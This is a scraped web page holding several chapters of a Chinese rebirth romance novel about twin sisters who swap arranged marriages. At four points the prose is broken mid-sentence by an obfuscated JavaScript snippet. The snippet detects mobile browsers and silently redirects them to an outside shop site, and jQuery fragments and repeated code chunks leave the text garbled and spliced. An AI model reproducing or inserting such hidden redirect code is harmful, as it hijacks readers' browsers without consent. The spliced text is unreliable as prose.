《重生后，姐姐要嫁我前夫》 2. 鸡蛋 直到天光微亮，思虑了一夜的向雨涵才迷迷糊糊睡着，但很快就又惊醒了过来。 “起来！都给老娘起来！都定了出门日子了，一个个的还这么懒可不行，到时候嫁到婆家定是要被骂娘家没教好的！” 向雨涵睁了睁有些浮肿的眼皮儿，心里烦躁不已。 好不容易熬成老太太的她，一下回到当姑娘的时候，每天要面对做不完的活计，还有老娘的打骂，她突然就想回去再死一遍。 虽然心里是这么想的，但已经形成习惯的身体却自己坐了起来，手也去拿了衣裳利落地往自己身上套。 蓝氏见二女儿已经起身，又骂了几句大女儿，也不管大女儿有没有起来，直接就推开房门去了厨房。 向雨涵到也没觉得有什么，毕竟以前姐姐向雨嫣也就这个样子，而且……活着的姐姐比上一世没了好，睡着就睡着吧。 向雨涵倒是想得开，醒了还躺在床上向雨嫣就更心安理得了。 上一世她和妹妹偷偷换了亲，刚嫁到县里的东方家，一掀了红盖头东方晋就对她黑了脸。 明明她和妹妹是孪生姐妹，除了她比妹妹略微矮了一点点，两人的脸长的几乎一模一样，有时候连她爹都不能一眼分别，不知那东方晋是怎么看出来的，张口就是她“骗婚”。 不但不愿意跟她洞房，第三天连回门都不愿意和她回，还是公婆看不下去给准备了东西，叫了骡车给她送回去。 一想到这里她就气得牙痒痒，可是一想到东方晋后来那张要杀人一般的脸，她顿时又怕了。 她是真的怕！ 上一世，她被东方晋气得做错了事，后来被他掐着脖子问：“你居然敢顶着这张脸做出如此龌龊之事，简直就是找死！” 那种无力的窒息感，还有喉骨的疼痛，仿佛现在还依然存在。 后来她死了，魂魄在东方家飘了七日，然后不知道怎么的，就忽然被扯到了宋家去。 她就看着妹妹向雨涵与宋峤夫妻俩恩爱有加，后来宋峤更是争气，一次就考中了秀才，又考中了举人，还考中了进士！妹妹也跟着成了官夫人！ 对比两姐妹出嫁后的天壤之别，再一想到原本家里给她定的……就是宋峤，这官夫人原本也应当是她，一下就给她气得失去了理智。 然而上天大约是知道了她心中的冤屈，竟让她回到了出嫁前！ 这一次她是万万不会再那么傻了！既然那东方晋原本想娶的就是她妹妹，那就让妹妹嫁去县城里“享享福”呗，反正那福气也不长久。 而她，只需要安心陪着峤郎吃几年苦就能当上官夫人，想想都觉得老天待她不薄。 至于妹妹……这本就该是她的命，如今不过是各归各位罢了，大不了等以后发达了，那东方家也败落了，她再帮她重新找个鳏夫嫁了就好。 一想到自己美好的未来，向雨嫣又笑眯眯地抱着薄被睡着了。 向雨涵起床后，熟门熟路地去把棚子里的鸡鸭放了出来，剁了些头一天傍晚打回来的嫩草，加了点潲水和粗糠拌了拌，就提给鸡鸭吃。 看着刚刚还围着她的鸡鸭们跑去一顿抢食，向雨涵心里的满足感油然而生。 这样简单的日子还真有点怀念啊！ 还不等她怀念太久，蓝氏就塞给她一背篓衣服，让她趁太阳还没出来赶紧去河边洗了。 向雨涵顺从地接过去背上，然后揉着已经开始唱空城计的肚子出了门。 蓝氏等二女儿一出门，立马就回房间拿了两个鸡蛋去厨房煮了，拿凉水泡了泡，就拿去了小儿子的房间里。 “乖乖儿，快醒醒，起来吃鸡蛋了！” 八岁的向清福已经是个小胖墩了，对于每天都被他娘逼着吃的鸡蛋，心里可厌烦极了。 “娘，我不吃，我不吃嘛。” “乖乖儿，吃了鸡蛋才能长高高，你想想昨天来咱们家的两个小伙儿，也就是你未来姐夫，那个大高个的是不是一来就把你举高高了？还是说，你想像那个矮扁担似的长一样？” 向清福一想到举高高，人一下就清醒了。 “娘，那个大高个是二姐夫是么？我以后能上他家玩吗？” “自然是可以的呀，只要你把鸡蛋吃了，也长得高高的，就能去他家玩。”蓝氏哄道。 向清福眼珠子一转，翻身就爬起来穿衣服。 他现在肯定还长不了那么高，但是只要和二姐关系打好了，那以后她家不是他想去就去？ 蓝氏见她的乖乖儿起来了，也不拦着，笑眯眯地等儿子穿好，就把手里的两个鸡蛋递了过去。 “二姐起了么？”向清福接了鸡蛋熟练地剥开，对着其中一个咬了一口，嘴里含含糊糊地问。 “早就起了，这会去河边给你洗衣服呢。” “我找她玩去。”说完向清福就嘚嘚地往家门外跑。 “跑慢点，别摔着。”蓝氏朝着儿子背影喊。 向家在村里偏后面，洗衣服的小河是在村子外的最前面，向清福双手各拿着一个啃了一半的鸡蛋和一个完整的鸡蛋，屁颠颠地往小河边跑。 路上就遇到了平时最不喜欢的王狗娃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13757917|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王狗娃比向清福大两岁，虽然没向清福胖，但个子要高一点，力气也大。不过因为他家爹前两年去采石场把腿摔瘸了，家里日子一天比一天难过。所以每次遇到向清福在吃东西，都会上去“打劫”一番。 向清福也是个知道审时度势的，要是发现自己跑不了就会老老实实把吃的给出去，免一顿好打；要是自己能跑或者附近有“救兵”，那他的便宜也不能让王狗娃占去。 例如现在他距离小河不过十来丈，只需要大喊一声“二姐”，向雨涵绝对能第一时间丢了衣服就过来救他，所以向清福这次丝毫不慌。 “喂！向三娃，你手里拿的啥子东西？给我看看。”王狗娃一如往常一样的趾高气昂对着向清福使唤道。 向清福因为有后援，丝毫不慌，拿着那个剥了壳的鸡蛋就一大口吃给王狗娃看。 王狗娃被他这么一挑衅，哪里还能忍？直接冲上去就要抢向清福手里另外一个鸡蛋。 向清福见他冲了过来，连忙往河边跑，一边跑一边还想喊他二姐，结果因为嘴里塞着的鸡蛋太干，没办法咽下去，也张不开嘴喊，急得他满头大汗，一个不注意，那鸡蛋黄就进了气管里，整个人都跑不动了。 王狗娃见他停了下来，连忙上去抢他手里的鸡蛋，向清福一边剧烈咳嗽，一边还把鸡蛋死死的握住不让王狗娃抢走。 王狗娃本来还想再抢，但见向清福咳得厉害，而且脸色涨红嘴唇发紫，预感大事不妙，撒丫子就准备逃跑。 但跑了两步又回头朝着河边喊了一句“救命啊，有人呛到了！”，然后又才慌忙逃跑了。 在河边洗衣服的向雨涵听到这个声音，忽然心里一紧，立马丢掉手里的湿衣裳起身就往田埂路上跑，然后就看见跪在地上自己掐着脖子的向清福。 她一看向清福面色和嘴角沾着的鸡蛋黄，心里有了猜测就不再多想，直接把向清福的背对着她搂在怀里，一只手握拳拳心向内地抵在向清福肚脐两指以上位置，另一只手包裹拳头大力挤压，不过三下，一个黄色的蛋黄就被吐了出来。 “哇！”向清福吐完就哭了，转身去抱住他二姐哇哇大哭。 向雨涵见弟弟哭了出来，心里也略微松了一口气。 还好上一世自己因为弟弟被呛死这件事心里一直耿耿于怀，后来特意寻了家里的府医问了处理办法，还跟着学了些人体穴位经脉的相关知识。 不过，上一世弟弟是定亲后几天在家吃鸡蛋噎死的，这一世居然是定亲后第二天在河边噎着了，这其中定是有什么不同之处，才会导致事情发生了偏移。 3. 嫁衣 这一世与上一世不同之处在于，她向雨涵重生了，从这次睁开眼到现在，她所做的一切都是顺着上一世的生活痕迹，也没有出现什么选择性的矛盾点，那么唯一有偏移的地方那就只可能在姐姐向雨嫣身上了。 而且昨晚她也听到了向雨嫣这一世的选择是宋家，她对宋峤的态度也一反当初，她似乎很坚信宋峤读书会有出路，会成功考中进士进京为官。 明明她在此之前压根就没跟宋峤说过几句话，现在就这样的坚信，说她没有重生，就算她向雨涵是个傻子都不信。 想到这个可能，向雨涵就觉得头疼。她懒得再去猜测，直接去河边拿上洗完的衣服，就牵着弟弟回家。 “二姐，给你吃。” 向清福小脸还红着，伸手给向雨涵递过去一个摔得有些破烂的熟鸡蛋。 向雨涵这会儿早饿了，就没跟他客气，剥了壳几口就把鸡蛋给吃了。 向清福见他二姐吃了他给的鸡蛋，心里也松了一口气，抬头就问：“二姐，以后我上县城的时候，能上你家去玩吗？” 向雨涵一想到那个火坑头就更疼了，但她也只是微微顿了一下，就笑着应道：“当然可以了。” 但心里却在想：那东方晋人高马大的，若是动起手来，硬拼肯定不行，她最近还得多复习复习前世学的穴位经络手法。 要不然等嫁过去了，花他家银子去定制些银针，一扎一个准的那种？ “太好了，二姐我跟你说，我可喜欢那个高高大大的姐夫了。”向清福说的兴高采烈，全然忘了自己的小命儿刚在鬼门关逛了一圈。 向雨涵也没有再提那事，见他心情好，就随口问：“你不喜欢另外一个吗？” “矮扁担？”向清福摇头，“我不喜欢。” 矮扁担？ 向雨涵好一会儿才想明白向清福说的是宋峤，不由得笑出了声。 那白眼狼、狗东西现在可不就是跟个矮扁担似的？要不是她嫁过去每天起早贪黑的想办法赚钱养家，他哪里吃得上每天三顿大米饭，更别提能隔三差五地吃上她给杀鸡炖的肉了，后来个子也飞长，成了大家眼里玉树临风的模样…… “你为啥不喜欢他啊？”向雨涵存着逗小孩儿的心思就顺着他话问。 “嗯，就是不喜欢呗！”向清福想了想又补充道，“昨天他来的时候还向我打听二姐你喜欢啥，跟他定亲的不是大姐吗？他打听二姐啥意思啊？” 或许向清福年纪还小，真不懂得宋峤到底是有何心思，但他就是心里就是感觉到不舒服，就像是每次手里有吃的，然后就遇到了王狗娃那种感觉。 向雨涵眉头一拧，忽然就想起了当初她嫁过去之后对宋峤坦白了换亲的事，那时候的他好像根本不在意，反而一脸依赖地抓着她的手，说什么只要她肯嫁给他，就已经是他宋家的福分，也是他俩的缘分。 当时从未听过什么甜言蜜语的向雨涵，只觉得感动到不行，压根没有在意这其中的不对劲。 上一世定亲人选一直是爹娘同男方家商议定下的，从来没有当家做主过的向雨涵也一直是听从爹娘的安排，唯独在成亲这件事上她违抗了。 爹娘知道换亲这件事还是她们姐妹俩三朝回门的时候。 而且那时一切都已经板上钉钉了，想改也没法改。哪怕在宋家的家谱上，写的都不是她向雨涵的名字。 也是因为这，直到后来宋峤纳妾，她都无法正大光明地闹上一场。 他，宋峤的正室嫡妻从来都不是她向雨涵！ 一想到上一世的糟心事，向雨涵还是忍不住叹气。 “咱以后少理他，你刚出门，可看见大姐了？” 向清福想了想，摇头：“没呢？” 看样子向雨嫣定是还没起来，不过上一世弟弟出事的那天她倒是早就起来了。 为什么记得这么清楚？因为现在她忽然想起上一世弟弟被鸡蛋噎到断了气，还是洗完衣服回来的她第一个发现，然后爹娘的怒火就第一时间发在她身上，说什么是当姐姐的没有照顾好弟弟，直到她被爹一脚踢到院门口，姐姐向雨嫣才背着半背篓猪草从外面回来。 重活一世的向雨涵如今看来这里面有好多的不对劲。 在家里三姐弟里，毋容置疑弟弟向清福是最受宠的。而鸡蛋这样东西，娘一般都是打着弟弟还小要长身体的名义给弟弟吃，所以弟弟是经常吃鸡蛋的娃，他熟悉鸡蛋的口感，一般情况是不会强行吞咽的，除非是有人跟他争抢，而家里就这几个人…… “对了！你刚刚咋被鸡蛋噎着的？”向雨涵忽然想起这次弟弟又被噎到，不由得想起来问。 内心一直在犹豫要不要告状的向清福忽然犯了难。 虽说王狗娃经常抢他吃的，但平时也会带他和村里其他的男娃子们一起玩，这次要是把他供出来，那按照他的“经验”来看，爹娘肯定会为了他打上门去。 他不想失去这个小伙伴，所以就低着头弱弱地说：“是我自己不小心。” “可我刚刚听到声音就从河边跑上来，就看到了一个人。” “那不是王狗娃！” “哦……” 向清福年岁还小，一下就被他姐诈了出来，一脸沮丧地跟他姐恳求道：“二姐，你别告诉爹娘行吗？” “为什么啊？” “因为……因为王狗娃他不是故意的，而且他爹腿断了，家里穷，咱爹娘再打上门去，他家就更穷，他就更没吃的了。” 向雨涵第一次认认真真地打量了自己这个原本只小十岁的弟弟。 这孩子除了娇惯懒惰了些，其实性子还是不错的，还知道为别人着想，是个好孩子。 上一世这样一个乖乖的娃子，就因为一口鸡蛋丧了命，说她当时不心痛那是假的，可当时身上还有爹娘发泄情绪殴打的痛，也让她对这个家彻底寒了心。以至于后来嫁去宋家，她才对宋峤那么死心塌地地付出，甚至累坏了身子…… 这一世弟弟被鸡蛋噎着的事提前了，那是不是他的这个死劫也躲过了呢？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13757918|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不不不，回家以后还得跟爹娘再说说，以后心疼娃儿还是蒸鸡蛋羹吧。 至于那个王狗娃抢鸡蛋的事……看在他刚刚有先喊人救命以及弟弟的份上，就先放一放吧。 回到家后，向雨涵在院子里晾衣服，向清福洗了手也帮忙给他二姐递湿衣服，姐弟俩分工合作很快就把衣服晾完了。 向雨嫣这时才施施然地屋里走了出来，看着晾衣绳上的湿衣服，她笑着夸赞：“二妹真勤快，这么早就去洗了衣裳。清福也好乖，都会帮姐姐干活儿了。” 向雨涵这还是隔了几十年后第一次看到她姐姐，虽然之前心里已经猜到对方也重生了，但向雨涵内心的第一反应居然还是为她感到高兴。 鲜花儿一样的姑娘还活着，怎么会不高兴呢？ “不过妹妹以后可是有福的，那东方家颇有家资，家里还买了两个奴仆，以后这些活儿都不用妹妹做了。” 向雨嫣的话，一下就把向雨涵心里的高兴给浇灭了。 “姐姐如何得知他家有两个奴仆？” 向雨嫣一愣，这才反应过来自己说漏了嘴，连忙笑着补救道：“还不是听人说的，不过这些都不重要，反正妹妹以后的好日子在后头呢！” 向雨涵确定了她姐姐也重生了，再看她就怎么都不得劲，没有再跟她多费口舌，拿着背篓就要出门捡柴。 向雨嫣见她二妹又要出去干活儿，心里暗自痛快——当了一辈子老夫人，现在还不是一样的在娘家当牛做马？ 但她心里这么想嘴上却依然温柔地说：“外面日头大了记得早点回来啊，别晒坏了。” 向雨涵没有搭理这个重生回来的姐姐，背着背篓就去村子后面的小山下捡柴，小尾巴向清福也跟着，半个时辰就捡了一大堆。 向雨涵把细的干树枝树叶装进背篓，再把粗大一些的树枝打成捆子架在背篓最上面，最后用背篓后面的绑绳给固定好，让弟弟在后面给了点力就背了起来。 两人一前一后的回家，路过的村民看了都在夸向家的两个女儿都勤快又麻利。 向雨涵都只是回应地笑笑，也懒得跟人解释经常出来干活的是她这个老二了。 毕竟生活嘛，就是如人饮水冷暖自知的，把家里的糟心事拿出来说才是给人白添笑料。 这次回家后，向雨涵进屋拿帕子擦脸，就看到她姐向雨嫣正在绣嫁衣。 向雨嫣见向雨涵回来，就笑眯眯地说：“这么快就回来啦，刚刚我还在担心妹妹别被晒着，虽然那东方家请了绣娘给妹妹绣好了嫁衣，但这脸蛋儿还是得好好养养才行啊。” “姐姐说的是，那姐姐你就趁着日头好赶紧绣你的嫁衣吧，毕竟我的不用自己绣，不用担心光线不好费眼睛。” 向雨嫣被向雨涵的话一堵，也没听出来她是故意的还是心直口快说的实话，但也没了心思再继续说下去。 毕竟就在上一世的今天，宋家那老婆子就没了呢，为了不耽误亲事，白日内她就得嫁去宋家，这嫁衣还真耽误不得！ 4. 阿奶 刚吃过半晌午饭，宋峤就满脸泪痕地来报信了。 毕竟两家已经定了亲，那婚丧嫁娶的也要同亲戚一般的走动起来了。 只是这一世，向雨嫣在听闻此事之后，免不得拿着帕子对着宋峤掉了几滴泪。 爹娘听闻这事也是惊愕不已，只留了向家三姐弟待在家里，他们两口子都跟着宋峤去了宋家帮忙料理宋母的丧事。 上一世也是因为向家第一时间过去帮忙，宋家那边的亲戚邻里都对向家赞不绝口，以至于向雨涵嫁过去日子难过时，还得了不少帮助，当然那些人情在她日后也都一一还了。 向家夫妻俩刚出门不久，分家后跟着大伯生活的向阿奶就拄着拐来了。 “阿奶，你咋来了？”向雨嫣一看老太太来了，脸上也没了之前见宋峤时的悲切，反而带了点笑。 “听说刚刚那宋家的小子来过了？”老太太一来就急忙地问。 向雨涵则是第一时间上去搀扶着人往屋里带，嘴里说着：“阿奶您先坐，慢慢说。” 向阿奶进屋坐下，手里的拐棍也没放下，直直地杵在身前，两只手握着。 “之前我就听说他家那寡母身体似乎不大能行了，刚刚德财在村口看见那宋家的小子似乎是哭着来的，是不是他娘不行了？”德财是大伯家的小儿子。 向雨嫣不知道阿奶为啥着急，但长辈问话，她还是应了，然后把刚发生的事情说了一遍。 “你们爹娘呢？”向阿奶确认了事情之后又问。 “去宋家帮忙了。”向雨涵去厨房拿了个干净的碗，倒了碗温开水递给阿奶。 向阿奶上了年纪，腿就一直不太好，刚刚坐下时，嘴里还带着轻微的呼呲声，应该是走得太急了，身体有些受不住。 向阿奶看了一眼递到手里的碗，又看了看在一边陪坐着的大孙女儿，心里五味杂陈。 虽然两个孙女儿她很少过问，而且俩孩子又是孪生姐妹长得一样，但只看这做事的章法，她就能分辨出哪个是姐姐哪个是妹妹。 “雨嫣啊，有句话阿奶知道不中听，但阿奶还是想跟你说说，就如今看来，那宋家怕不是什么好人家，你若是不想嫁，就还是跟你爹娘商量商量，婚事能退就退了吧。” 向阿奶的话刚说完，向雨嫣噌的一下就站了起来，坐在长凳一端的阿奶差点就翻倒在地，还好向雨涵眼明手快地把老太太扶住了。 向雨嫣虽然心下一惊，但为了维持她脸上的情绪，并没有去扶向阿奶去道歉，反而一脸悲愤地说：“阿奶，你这心肠也着实太狠了些！都说女子一生两次投胎，一次是出生一次是嫁人，第一次你就把我扔山沟里去，这一次你又要害我！你，你心里就这么恨我吗？非要我的命不可吗？” 向阿奶本是带着好意来的，虽然被向雨嫣拂了颜面，但自己曾经确实把这个当时出气不带进气的大孙女扔到山里过，心里有亏欠，也没计较她的态度。 “阿奶不是要害你，是为了你着想啊！你好好想想，那宋家现在家里就剩宋峤一人，家产不过三间竹泥巴房，连一亩良田都没有，你嫁过去要靠什么生活？”向阿奶苦口婆心的劝道，“而且他家那寡母如今去了，守孝三年不能成亲，你可比那宋峤大，三年后可就成了双十的老姑娘了啊！” 向雨嫣听到这话，眼神飘忽地看了一眼向雨涵，又反驳道：“那大不了白日内就成亲，要守孝，我就陪着宋公子一起守着，反正我们向家就是不能做那背信弃义的人。” 人家寡母刚去这边就退亲，于他们向家的名声上肯定会有影响，但这种事情只要双方协商好，一般的旁人就算知道了也会理解向家的难处，并不会对这点咬死不放。 但向阿奶看着向雨嫣这般固执的模样，也心知这个大孙女是听不进她的劝道，遂也不再多言，只是从怀里摸出两个银角子来，递给两个如花似玉的孙女儿。 “这是老婆子我这些年攒的一点子银子，你们姐妹俩如今都定了亲事，我这当阿奶就提前给你们这压箱底的，你们自己保管好，也别跟你们爹娘说，以后日子若是有个棘手的时候也好应应急。” 向雨嫣没想到竟有这般好处得，立刻就上前接过，脸上也带了点羞愧的笑：“多谢阿奶，还是阿奶想得周到，孙女儿此刻真真是无以为报了，只愿阿奶能长命百岁，等到孙女儿有出息了，定会孝敬阿奶的。” 向阿奶听了这话心里也稍稍舒坦一点，不再多言，摆了摆手拄着杖就要回去。 向雨涵把银子揣在心口，就扶着自家阿奶出门，看了两眼老太太挺不直的腰背，她决定送阿奶回去，顺便再给她看看身体的情况。 向阿奶虽然平时和孙女相处的时间少，但是对于这个从小就勤快懂事的二孙女儿心里还是喜欢的，见她主动扶自己回大房那边，也没有推脱，还主动把身体靠在了向雨涵身上，小小的借了点力。 “哟，这是谁来了？”大房院子里正在翻晒菜帮子的年轻妇人是大堂哥去年才娶的新媳妇，她分不清向雨涵姐妹谁是谁，就笑着打招呼，“我这眼睛生的笨，只知道是妹妹来了，却分不清是大妹还是二妹，阿奶和妹妹可别怪罪我。” 向雨涵看着眼前几十年不见的大嫂子，心下有些感慨，但嘴上却在解释道：“大嫂在忙呢，我是二妹雨涵。” “原来是二妹呀，听说昨日你跟县里东方家的三公子定亲了，真是恭喜恭喜啊！昨日我回娘家吃侄子的满月酒了，没赶上吃你们姐妹的定亲席，千万莫怪，哈哈哈，真是好日子都撞一起了。” 向雨涵知道大嫂子是个心热话多的人，瞧她晒的菜才翻了一半，现在日头也大，应付了两句就扶阿奶回房间去了。 “那皮猴一天聒噪得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13757919|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很，你要真跟她聊下去，她能把她小时候抓螃蟹夹了手的事都翻出来跟你聊一遍。” 看样子大嫂子是已经跟阿奶聊过小时候抓螃蟹的事儿了，所以阿奶才这么说，虽然嘴上嫌弃地称人家“皮猴”，但看得出来老太太对这个孙媳妇也很是喜欢，向雨涵也不去拆穿，她现在心里最关心的是向阿奶的身体。 上一世因为小弟出事，她和姐姐的婚事也都提前了。嫁去宋家后就如同阿奶说的那样，家里真的是一贫如洗。 宋峤虽然已经停了去书院进学，但他在家自学时笔墨纸砚的消耗仍然免不了。加上家里除了屋后一畦菜地，宋家竟是一亩田地都没有。 当时她只能厚着脸皮回娘家找爹娘借钱，但小弟的事给爹娘的打击太大，对她也是带了怨恨，说她若是早些洗完衣服回家，说不准小弟还有救。 那时的她泪流满面，甚至后来无数次午夜梦回之际都曾在心底怪自己没有再快一些到家。 后来她出了村子就哭着回宋家，半路上就遇到了拄着拐身形佝偻的阿奶。老太太给她抹了眼泪，从怀里掏了二两银子给她，让她一定要把日子好好过起来。 也就是因着那二两银子，她才又有了底气，第二天就去县城里买了面粉回去，那时候她身上满是劲儿，天不亮就起来做包子馒头，一个人就敢去县城县学外叫卖。可后来终于赚到了钱，她想孝敬阿奶时，阿奶的身体却已经不行了，除了能喝点汤水外，连她做的包子都不能咬上一口了。 向雨涵看着眼前还能自己走动的阿奶，心里一阵发酸。 “阿奶，你最近是不是有哪里不舒服？我前段时间赶集的时候，听到药铺的童子说，如果平时身体感觉不舒服，可以按按经络，你跟我说说哪里不舒服呗，咱们试试看是不是真的。” 向阿奶不太习惯别人亲近的触碰，平时晚辈扶她胳膊还行，如果是要在她身上按来按去的，她就有些不愿意了。 但提出这个建议的是自己的孙女儿，她又不想拂了孙女儿的孝心，咬咬牙就同意了。 “就肩膀总觉得沉。”向阿奶小声地说。 向雨涵心里顿时有了信心，按摩肩膀这块刚好就是她最拿手的，想当初宋峤那白眼狼为了科考，每天伏案读书写字，那肩膀就有很长时间都叫痛，每次都是她给他按了才能松快一二，以至于后来两人闹掰了之后，那白眼狼还假模假样地跑到佛堂来说什么“其他人都不及姐姐给我按肩按得叫我舒坦”，当时可把她恶心坏了。 如今自己的这门手艺又有了发挥的地方，向雨涵自然是积极的让老太太坐下，揉了揉手指手腕就开始上手按摩起来。 大约是向雨涵手艺确实不错，向阿奶刚刚还在和向雨涵传授着一些给人当媳妇子的注意事项，说着说着声音就越来越轻，直到向雨涵停手扭头去看，向阿奶果然睡着了。 5. 坐歌堂（一） 掌灯时分，县城东方家，内院书房里。当家人东方信鸿站在窗前。 “阿晋你真要娶个农家女为妻？” 东方晋虽跪在他父亲身后，但壮硕的腰背依旧挺得笔直。 “父亲，卫思后曾经也不过歌奴而已。” “大胆！”东方信鸿被气得转身就要去拿书桌上的短鞭抽东方晋，却被一旁的刘夫人给拉住。 “夫君消消气，阿晋还小，口无遮拦，你千万别跟他计较。” “他都敢自比武帝了，哪里还小？这胆子已经大胆无法无天了！”东方信鸿虽然气的不轻，但依旧压着嗓门，担心这些大逆不道的话传了出去。 “阿晋确实不对，快来向你父亲认错。”刘夫人连忙打圆场，轻踢了东方晋一下，又给他连连使眼色。 东方晋心里虽不高兴他父亲看不起自己心上人的家世，但也知道自己如果想快点成亲，就必须先过父亲这一关。 “父亲，孩儿知错了。” 东方信鸿向来也是了解自己这个三儿的脾性的，向来都是一根筋执拗得很，见他这次认错的快，心里的气也消了大半。 “既然知错，那就起来说话吧。” “你父亲都发话了，你还不赶紧起来？”刘夫人连忙又去搀扶。 东方信鸿见状，微不可闻地“哼”了一声。 “慈母多败儿。” 刘夫人也不理他，只是去倒了杯凉茶端给东方信鸿，笑着道：“夫君一路奔波劳累，快喝杯茶坐着歇歇。” 都说伸手不打笑脸人，东方信鸿见自家夫人为了他和儿子之间的气氛能缓和，都已经如此伏低做小，也不好再端着架子，于是接过茶杯牛饮一口，然后才继续开口。 “这段时间我都不在家中，究竟是为何如此匆忙就定了亲事？刚刚这逆子还说要白日内成亲，这……我在东方家虽是庶出，但好歹兵部尚书是我亲阿爷，阿晋这身份不说配个名门闺秀，也至少得是个世家淑女吧？怎的就给他挑了个农家女子，夫人你这事办的不妥啊！” 刘夫人也不好跟她夫君说是他儿子自己看上的，只道：“夫君你说的在理，但自家知道自家事，那些东方家名头上的事，咱就不整那些虚的了。就咱家阿晋这性子，若是娶个世家里的贤淑女子，两人南辕北辙怕是不能和美。” 刘夫人拨了拨耳边散落下来的一丝碎发，观察了东方信鸿的脸色，又才继续说：“那向阳村的向家女名叫‘雨涵’，年方十七，我观她言行举止大方得体，谈吐不像一般农家女子，而且相貌出落得也极好，她本还有一孪生姐姐，对比之下她也更为勤快利落，虽然女红略通，但厨艺甚佳，对父母也孝敬，眼里是个有活儿的，而且她人还聪慧……” “好了，好了，夫人你这都快要把那女子夸得天上有地下无了，为夫知晓你对她十分满意，既然如此，我也就不挑她的出身了。” 东方晋听他娘亲把他未来媳妇夸得这么好（不对，娘亲说的明明都是实话），心里正暗暗得意，脸上的笑也没来得及收敛，就跟他父亲的视线撞到了一起。 “好，现在轮到你说了。为何非要在百日内成亲？”东方信鸿对儿子的态度可不会好到哪里去，说话的语气依旧是满满的严厉。 “父亲容禀，雨涵和她姐姐是孪生姐妹，恰好定亲也是看的同一天好日子，她那姐姐是定给了北湾村的一名姓宋的童生，前几日那童生的寡母因病去了，为了不耽误姑娘年华，所以宋家那边就提议白日内完婚。” 东方晋厚着脸皮蹭到他父亲身边，给东方信鸿捏起肩膀来，讨好地说：“那宋家童生比我还小三岁都这么急着娶媳妇，儿子眼看就要及冠了，怎能还落人一步？所以就想这婚事同时办了，也免得我那岳母因为嫁女儿要哭两场。” “呵，你倒是个孝顺的。”东方信鸿一把拍下东方晋放在他肩上的大掌。 东方晋皮厚肉糙的手也不痛，笑呵呵缠着他父亲又要上手去捏，被东方信鸿拦住。 “你这粗手粗脚的就别来霍霍老子了，想成亲也行，迎亲当天的大雁自己去打！” “哎不是！父亲大人，家里之前就为了我成亲还备了一双大雁，如今这会儿已经快入夏了，你要让我去外头打，我上哪儿去打去啊？”东方晋为难道。 “是呀，这个节气里头哪有什么大雁？夫君你就别为难阿晋了，不如让他做点其它的也行。”刘夫人劝说道。 东方信鸿却没有说话，只是似笑非笑地看着东方晋。 东方晋与之对视一眼，又摸了摸鼻头，然后对他娘亲说：“父亲刚回家，我去看看接风的晚宴可曾弄好了。”说完就一溜烟跑了。 看着儿子跑走的身影，东方信鸿对着刘夫人也不禁笑着摇头说道：“这小子都快及冠了，还这么不着调，也是该娶个媳妇子管管他了。” 自从宋家寡母安葬后没几天，宋家那边就请了媒人前来重新商量婚期，向家爹娘原本也和向阿奶一个心思，但扭不住向雨嫣这回铁了心要嫁给宋峤，还明里暗里地给她娘画大饼。 向家两口子一合计，就对媒人说，婚期提前了，那女方的嫁妆可能就没啥时间置办了。 媒人心下虽然鄙夷，面上却是说大家都能理解。然后走出向阳村就呸了口水，暗骂向家收了聘礼不给嫁妆，有够贪婪的。 宋家的媒人刚走，东方家请的媒人又来了，在得知向家大姑娘又重新定到了五月初十的婚期，就也笑着把东方家想同天迎娶新娘子的事儿说了。 向家觉得一次性把两女儿的酒席办了也好，免得分两次请客麻烦，还能同时收两份礼，挺划算的，也就同意了。 不管向家打的什么主意，眼看着婚期是越来越近。 连已经活过一辈子的向雨涵数着日子都开始焦虑起来。 嗨，她能不焦虑吗？她两辈子的力气加一起，估计也干不过那人高马大的家暴男啊！ 银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13757920|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针还没办法搞到手，要不先弄把剪刀防防身？ 想到这里，向雨涵瞄上了她娘亲针线篓里家里唯一一把剪刀，琢磨着成亲那天得想办法把它顺走。 正在打金铺里挥汗如雨的东方晋忽然打了几个喷嚏，看得旁边指导他拉金丝的师傅一脸嫌弃…… 